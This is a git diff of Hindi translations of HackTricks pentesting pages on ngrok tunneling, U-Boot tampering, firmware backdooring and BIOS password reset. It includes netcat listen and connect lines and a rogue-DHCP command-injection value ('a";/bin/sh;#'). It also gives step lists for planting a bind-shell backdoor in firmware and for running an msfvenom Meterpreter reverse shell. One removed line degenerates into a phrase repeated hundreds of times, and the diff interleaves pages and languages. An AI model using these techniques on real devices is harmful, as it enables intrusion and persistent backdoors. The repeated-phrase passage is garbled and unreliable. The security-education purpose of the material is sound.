*यदि आवश्यक हो, तो प्रमाणीकरण और TLS जोड़ना भी संभव है।*
#### TCP टनलिंग
#### Tunneling TCP
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
@ -481,15 +488,15 @@ chmod a+x ./ngrok
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### HTTP के साथ फ़ाइलों को उजागर करना
#### HTTP के साथ फ़ाइलें उजागर करना
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### HTTP कॉल्स को स्निफ़ करना
#### HTTP कॉल्स की स्निफिंग
*XSS, SSRF, SSTI के लिए उपयोगी...*
stdout से सीधे या HTTP इंटरफेस [http://127.0.0.1:4040](http://127.0.0.1:4000) में से
*XSS, SSRF, SSTI ... के लिए उपयोगी*
stdout से सीधे या HTTP इंटरफेस [http://127.0.0.1:4040](http://127.0.0.1:4000) में।
#### आंतरिक HTTP सेवा का टनलिंग
```bash
@ -502,7 +509,7 @@ stdout से सीधे या HTTP इंटरफेस [http://127.0.0.1:4
यह 3 टनल खोलता है:
- 2 TCP
- 1 HTTP जिसमें /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन है
- 1 HTTP ज /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन करता है
```yaml
tunnels:
mytcp:
@ -515,27 +522,30 @@ httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## अन्य उपकरणों की जाँच करें
## अन्य उपकरण जांचने के लिए
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
**Try Hard Security Group**
**ट्राई हार्ड सुरक्षा समूह**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,24 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी कंपनी को **HackTricks में विज्ञापित करना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
निम्नलिखित चरणों की सिफारिश की जाती है डिवाइस स्टार्टअप कॉन्फ़िगरेशन और बूटलोडर्स जैसे U-boot को संशोधित करने के लिए:
डिवाइस स्टार्टअप कॉन्फ़िगरेशन और बूटलोडर जैसे U-boot को संशोधित करने के लिए निम्नलिखित चरणों की सिफारिश की जाती है:
1. **बूटलोडर के इंटरप्रीटर शैल में पहुंचें**:
- बूट के दौरान, "0", स्पेस, या अन्य पहचाने गए "जादू कोड" दबाएं ताकि बूटलोडर के इंटरप्रीटर शैल में पहुंच सकें
1. **बूटलोडर के इंटरप्रेटर शेल तक पहुँचें**:
- बूट के दौरान, बूटलोडर के इंटरप्रेटर शेल तक पहुँचने के लिए "0", स्पेस, या अन्य पहचाने गए "जादुई कोड" दबाएँ
2. **बूट आर्ग्यूमेंट्स को संशोधित करें**:
- निम्नलिखित कमांड्स को निष्पादित करें ताकि '`init=/bin/sh`' को बूट आर्ग्यूमेंट्स में जोड़ा जा सके, जिससे शैल कमांड का निष्पादन संभव हो:
2. **बूट तर्कों को संशोधित करें**:
- शेल कमांड के निष्पादन की अनुमति देने के लिए बूट तर्कों में '`init=/bin/sh`' जोड़ने के लिए निम्नलिखित कमांड निष्पादित करें:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@ -26,27 +28,47 @@ HackTricks का समर्थन करने के अन्य तरी
#boot
%%%
3. **TFTP सर्वर को सेटअप करें**:
- स्थानीय नेटवर्क पर छवियों को लोड करने के लिए एक TFTP सर्वर को कॉन्फ़िगर करें:
3. **TFTP सर्वर सेटअप करें**:
- स्थानीय नेटवर्क पर छवियों को लोड करने के लिए एक TFTP सर्वर कॉन्फ़िगर करें:
%%%
#setenv ipaddr 192.168.2.2 #डिवाइस का स्थानीय आईपी
#setenv serverip 192.168.2.1 #TFTP सर्वर आईपी
#setenv ipaddr 192.168.2.2 #डिवाइस का स्थानीय IP
#setenv serverip 192.168.2.1 #TFTP सर्वर IP
#saveenv
#reset
#ping 192.168.2.1 #नेटवर्क एक्सेस की जांच करें
#tftp ${loadaddr} uImage-3.6.35 #loadaddr फ़ाइल को लोड करने के लिए पता लेता है और TFTP सर्वर पर छवि का फ़ाइल नाम लेता है
#tftp ${loadaddr} uImage-3.6.35 #loadaddr फ़ाइल को लोड करने के लिए पता लेता है और TFTP सर्वर पर छवि का फ़ाइल नाम
%%%
4. **`ubootwrite.py` का उपयोग करें**:
- U-boot छवि लिखने और रूट एक्सेस प्राप्त करने के लिए संशोधित फर्मवेयर को पुश करने के लिए `ubootwrite.py` का उपयोग करें।
- रूट एक्सेस प्राप्त करने के लिए U-boot छवि को लिखने और संशोधित फर्मवेयर को पुश करने के लिए `ubootwrite.py` का उपयोग करें।
5. **डबग सुविधाओं की जांच करें**:
- सत्यापित करें कि डीबग सुविधाएं जैसे verbose लॉगिंग, विचारात्मक कर्नेल लोडिंग, या अविश्वसनीय स्रोत से बूट करने की सक्षमता सक्षम हैं।
5. **डिबग सुविधाओं की जांच करें**:
- यह सत्यापित करें कि क्या विस्तृत लॉगिंग, मनमाने कर्नेल लोड करने, या अविश्वसनीय स्रोतों से बूट करने जैसी डिबग सुविधाएँ सक्षम हैं।
6. **सावधानीपूर्वक हार्डवेयर अवरोधन**:
- डिवाइस बूट-अप क्रम के दौरान एक पिन को ग्राउंड से कनेक्ट करते समय सतर्क रहें और खासकर कर्नेल के डीकंप्रेस होने से पहले SPI या NAND फ्लैश चिप्स के साथ बातचीत करते समय। पिन को शॉर्ट करने से पहले NAND फ्लैश चिप के डेटाशीट की परामर्श करें।
6. **सावधानीपूर्वक हार्डवेयर हस्तक्षेप**:
- डिवाइस बूट-अप अनुक्रम के दौरान एक पिन को ग्राउंड से जोड़ने और SPI या NAND फ्लैश चिप्स के साथ बातचीत करते समय सावधान रहें, विशेष रूप से कर्नेल के डिकंप्रेस होने से पहले। पिन को शॉर्ट करने से पहले NAND फ्लैश चिप के डेटा शीट की जांच करें।
7. **रोग डीएचसीपी सर्वर को कॉन्फ़िगर करें**:
- एक डिवाइस के लिए एक रोग डीएचसीपी सर्वर सेटअप करें जिसमें डिवाइस एक PXE बूट के दौरान गलत पैरामीटर्स को स्वीकार करेगा। Metasploit के (MSF) DHCP ऑक्सिलरी सर्वर जैसे उपकरण का उपयोग करें। 'FILENAME' पैरामीटर को आदेश इन्जेक्शन कमांड्स जैसे `'a";/bin/sh;#'` के साथ संशोधित करें ताकि डिवाइस स्टार्टअप प्रक्रियाओं के लिए इनपुट मान्यता का परीक्षण किया जा सके
7. **रोग DHCP सर्वर कॉन्फ़िगर करें**:
- PXE बूट के दौरान डिवाइस द्वारा ग्रहण करने के लिए दुर्भावनापूर्ण पैरामीटर के साथ एक रोग DHCP सर्वर सेट करें। Metasploit के (MSF) DHCP सहायक सर्वर जैसे उपकरणों का उपयोग करें। डिवाइस स्टार्टअप प्रक्रियाओं के लिए इनपुट मान्यता का परीक्षण करने के लिए कमांड इंजेक्शन कमांड जैसे `'a";/bin/sh;#'` के साथ 'FILENAME' पैरामीटर को संशोधित करें
**ध्यान दें**: डिवाइस पिन्स के साथ भौतिक इंटरेक्शन शामिल हैं (*एस्ट्रिक्स के साथ चिह्नित) इन्हें बहुत सावधानी से नुकसान पहुंचाने से बचने के लिए निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम रूप से निकटतम
**नोट**: डिवाइस पिन के साथ भौतिक इंटरैक्शन से संबंधित चरणों (*तारों के साथ चिह्नित) को डिवाइस को नुकसान से बचाने के लिए अत्यधिक सावधानी के साथ किया जाना चाहिए।
## संदर्भ
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,58 +1,23 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Firmware Integrity
**कस्टम फर्मवेयर और/या कंपाइल किए गए बाइनरी कोड को अखंडता या हस्ताक्षर सत्यापन दोषों का शिकार करने के लिए अपलोड किया जा सकता है**। निम्नलिखित चरण बैकडोर बाइंड शैल कॉम्पाइलेशन के लिए अनुसरण किया जा सकता है:
**कस्टम फर्मवेयर और/या संकलित बाइनरी को इंटीग्रिटी या सिग्नेचर वेरिफिकेशन दोषों का लाभ उठाने के लिए अपलोड किया जा सकता है।** बैकडोर बाइंड शेल संकलन के लिए निम्नलिखित चरणों का पालन किया जा सकता है:
1. फर्मवेयर को फर्मवेयर-मॉड-किट (FMK) का उपयोग करके निकाला जा सकता है।
2. लक्षित फर्मवेयर आर्किटेक्चर और एंडियनेस को पहचाना जाना चाहिए।
3. एन्वायरनमेंट के लिए बिल्डरूट या अन्य उपयुक्त विधियों का उपयोग करके एक क्रॉस कंपाइलर तैयार किया जा सकता है।
4. क्रॉस कंपाइलर का उपयोग करके बैकडोर तैयार किया जा सकता है।
1. फर्मवेयर को firmware-mod-kit (FMK) का उपयोग करके निकाला जा सकता है।
2. लक्षित फर्मवेयर आर्किटेक्चर और एंडियननेस की पहचान की जानी चाहिए।
3. Buildroot या पर्यावरण के लिए अन्य उपयुक्त विधियों का उपयोग करके एक क्रॉस कंपाइलर बनाया जा सकता है।
4. बैकडोर को क्रॉस कंपाइलर का उपयोग करके बनाया जा सकता है।
5. बैकडोर को निकाले गए फर्मवेयर /usr/bin निर्देशिका में कॉपी किया जा सकता है।
6. उचित QEMU बाइनरी को निकाले गए फर्मवेयर rootfs में कॉपी किया जा सकता है।
7. chroot और QEMU का उपयोग करके बैकडोर को अनुकरण किया जा सकता है।
8. बैकडोर को netcat के माध्यम से एक्सेस किया जा सकता है।
9. QEMU बाइनरी को निकाले गए फर्मवेयर rootfs से हटा दिया जाना चाहिए।
10. फर्मवेयर को फिर से FMK का उपयोग करके पैकेज किया जा सकता है।
11. बैकडोर फर्मवेयर को टेस्ट करने के लिए इसे फर्मवेयर विश्लेषण उपकरण (FAT) के साथ अनुकरण करके और netcat का उपयोग करके लक्षित बैकडोर IP और पोर्ट से कनेक्ट करके टेस्ट किया जा सकता है।
6. उपयुक्त QEMU बाइनरी को निकाले गए फर्मवेयर रूटफाइल सिस्टम में कॉपी किया जा सकता है।
7. बैकडोर को chroot और QEMU का उपयोग करके अनुकरण किया जा सकता है।
8. बैकडोर को नेटकैट के माध्यम से एक्सेस किया जा सकता है।
9. QEMU बाइनरी को निकाले गए फर्मवेयर रूटफाइल सिस्टम से हटा दिया जाना चाहिए।
10. संशोधित फर्मवेयर को FMK का उपयोग करके फिर से पैकेज किया जा सकता है।
11. बैकडोर वाले फर्मवेयर का परीक्षण फर्मवेयर विश्लेषण टूलकिट (FAT) के साथ अनुकरण करके और लक्षित बैकडोर IP और पोर्ट से नेटकैट का उपयोग करके कनेक्ट करके किया जा सकता है।
यदि पहले से ही डायनामिक विश्लेषण, बूटलोडर परिवर्तन या हार्डवेयर सुरक्षा परीक्षण के माध्यम से रूट शैल प्राप्त किया गया है, तो पूर्व-कॉम्पाइल किए गए दुरुपयोगी बाइनरी जैसे इम्प्लांट्स या रिवर्स शैल्स को निष्पादित किया जा सकता है। 'Msfvenom' के जैसे स्वचालित पेलोड/इम्प्लांट उपकरणों का उपयोग करके Metasploit फ्रेमवर्क और एमएसएफवेनम का उपयोग करके निम्नलिखित चरणों का उपयोग किया जा सकता है:
यदि एक रूट शेल पहले से ही डायनामिक एनालिसिस, बूटलोडर मैनिपुलेशन, या हार्डवेयर सुरक्षा परीक्षण के माध्यम से प्राप्त किया गया है, तो पूर्व-संकलित दुर्भावनापूर्ण बाइनरी जैसे इम्प्लांट या रिवर्स शेल को निष्पादित किया जा सकता है। स्वचालित पेलोड/इम्प्लांट टूल जैसे मेटास्प्लॉइट फ्रेमवर्क और 'msfvenom' का उपयोग निम्नलिखित चरणों का पालन करके किया जा सकता है:
1. लक्षित फर्मवेयर आर्किटेक्चर और एंडियनेस को पहचाना जाना चाहिए।
2. Msfvenom का उपयोग करके लक्षित पेलोड, हमलावर होस्ट आईपी, सुनने वाले पोर्ट नंबर, फाइल प्रकार, आर्किटेक्चर, प्लेटफॉर्म, और आउटपुट फाइल को निर्दिष्ट किया जा सकता है।
3. पेलोड को प्रभावित उपकरण पर स्थानांतरित किया जा सकता है और सुनिश्चित किया जा सकता है कि इसमें क्रियान्वयन अनुमतियाँ हैं।
4. पेलोड को संदिग्ध उपकरण पर भेजने के लिए Metasploit को तैयार किया जा सकता है, msfconsole शुरू करके और सेटिंग्स को पेलोड के अनुसार कॉन्फ़िगर करके।
5. संदिग्ध उपकरण पर मीटरप्रीटर रिवर्स शैल को निष्पादित किया जा सकता है।
6. मीटरप्रीटर सेशन को खोलते समय मॉनिटर किया जा सकता है।
7. पोस्ट-एक्सप्लोइटेशन गतिविधियाँ की जा सकती हैं।
यदि संभव हो, स्टार्टअप स्क्रिप्ट्स में मौजूद दोषों का उपयोग करके एक उपकरण को बूट के बाद एक उपकरण में स्थायी पहुंच प्राप्त करने के लिए उत्पन्न किया जा सकता है। ये दोष स्थानांकित स्थानों पर कोड का संदर्भ करते हैं, [प्रतीकात्मक लिंक](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) करते हैं, या अविश्वसनीय माउंट किए गए स्थानों में स्थित डेटा संग्रहित करने के लिए उपयोग किए जाने वाले SD कार्ड और फ्लैश वॉल्यूम्स में उपयुक्तता के दौरान उत्पन्न होते हैं।
## संदर्भ
* अधिक जानकारी के लिए देखें [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
1. लक्षित फर्मवेयर आर्किटेक्चर और एंडियननेस की पहचान की जानी चाहिए।
2. Msfvenom का उपयोग लक्षित पेलोड, हमलावर होस्ट IP, सुनने वाले पोर्ट नंबर, फ़ाइल प्रकार, आर्किटेक्चर, प्लेटफ़ॉर्म, और आउटपुट फ़ाइल को निर्दिष्ट करने के लिए किया जा सकता है।
3. पेलोड को समझौता किए गए डिवाइस पर स्थानांतरित किया जा सकता है और सुनिश्चित किया जा सकता है कि इसके पास निष्पादन अनुमतियाँ हैं।
4. मेटास्प्लॉइट को आने वाले अनुरोधों को संभालने के लिए msfconsole शुरू करके और पेलोड के अनुसार सेटिंग्स को कॉन्फ़िगर करके तैयार किया जा सकता है।
5. समझौता किए गए डिवाइस पर मीटरप्रीटर रिवर्स शेल को निष्पादित किया जा सकता है।

View file

@ -1,39 +1,85 @@
# भौतिक हमले
# Physical Attacks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## BIOS पासवर्ड रिकवरी और सिस्टम सुरक्षा
## BIOS Password Recovery and System Security
**BIOS को रीसेट** कई तरीकों से किया जा सकता है। अधिकांश मदरबोर्ड में एक **बैटरी** शामिल होती है जो, जब लगभग **30 मिनट** के लिए निकाली जाती है, तो BIOS सेटिंग्स को रीसेट कर देगी, जिसमें पासवर्ड भी शामिल है। वैकल्पिक रूप से, मदरबोर्ड पर एक **जंपर** को सेट करके इन सेटिंग्स को रीसेट किया जा सकता है जिसके लिए विशेष पिन्स को कनेक्ट करना होगा
**BIOS को रीसेट करना** कई तरीकों से किया जा सकता है। अधिकांश मदरबोर्ड में एक **बैटरी** होती है, जिसे लगभग **30 मिनट** के लिए निकालने पर BIOS सेटिंग्स, जिसमें पासवर्ड भी शामिल है, रीसेट हो जाती हैं। वैकल्पिक रूप से, **मदरबोर्ड पर एक जंपर** को समायोजित किया जा सकता है ताकि इन सेटिंग्स को विशिष्ट पिनों को जोड़कर रीसेट किया जा सके
हार्डवेयर समायोजन संभावित नहीं होने या व्यावहारिक न होने की स्थितियों के लिए, **सॉफ़्टवेयर टूल्स** एक समाधान प्रदान करते हैं। **Kali Linux** जैसी वितरण के साथ सिस्टम को चलाना जैसे **Live CD/USB** से **_killCmos_** और **_CmosPWD_** जैसे उपकरणों तक पहुंच मिलती है जो BIOS पासवर्ड रिकवरी में मदद कर सकते हैं।
उन स्थितियों के लिए जहां हार्डवेयर समायोजन संभव या व्यावहारिक नहीं हैं, **सॉफ़्टवेयर उपकरण** एक समाधान प्रदान करते हैं। **Kali Linux** जैसी वितरणों के साथ **Live CD/USB** से सिस्टम चलाने पर **_killCmos_** और **_CmosPWD_** जैसे उपकरणों तक पहुंच मिलती है, जो BIOS पासवर्ड रिकवरी में मदद कर सकते हैं।
जब BIOS पासवर्ड अज्ञात हो, तो इसे गलती से **तीन बार** दर्ज करने से आम तौर पर एक त्रुटि कोड प्राप्त होता है। इस कोड का उपयोग [https://bios-pw.org](https://bios-pw.org) जैसी वेबसाइटों पर किया जा सकता है जिससे एक उपयोगी पासवर्ड प्राप्त किया जा सकता है
यदि BIOS पासवर्ड अज्ञात है, तो इसे गलत तरीके से **तीन बार** दर्ज करने पर आमतौर पर एक त्रुटि कोड प्राप्त होता है। इस कोड का उपयोग [https://bios-pw.org](https://bios-pw.org) जैसी वेबसाइटों पर किया जा सकता है ताकि संभावित रूप से एक उपयोगी पासवर्ड प्राप्त किया जा सक
### UEFI सुरक्षा
### UEFI Security
**UEFI** का उपयोग करने वाले आधुनिक सिस्टमों के लिए, उपकरण **chipsec** का उपयोग किया जा सकता है ताकि UEFI सेटिंग्स का विश्लेषण और संशोधन किया जा सके, जिसमें **Secure Boot** को अक्षम करना शामिल है। इसे निम्नलिखित कमांड के साथ पूरा किया जा सकता है:
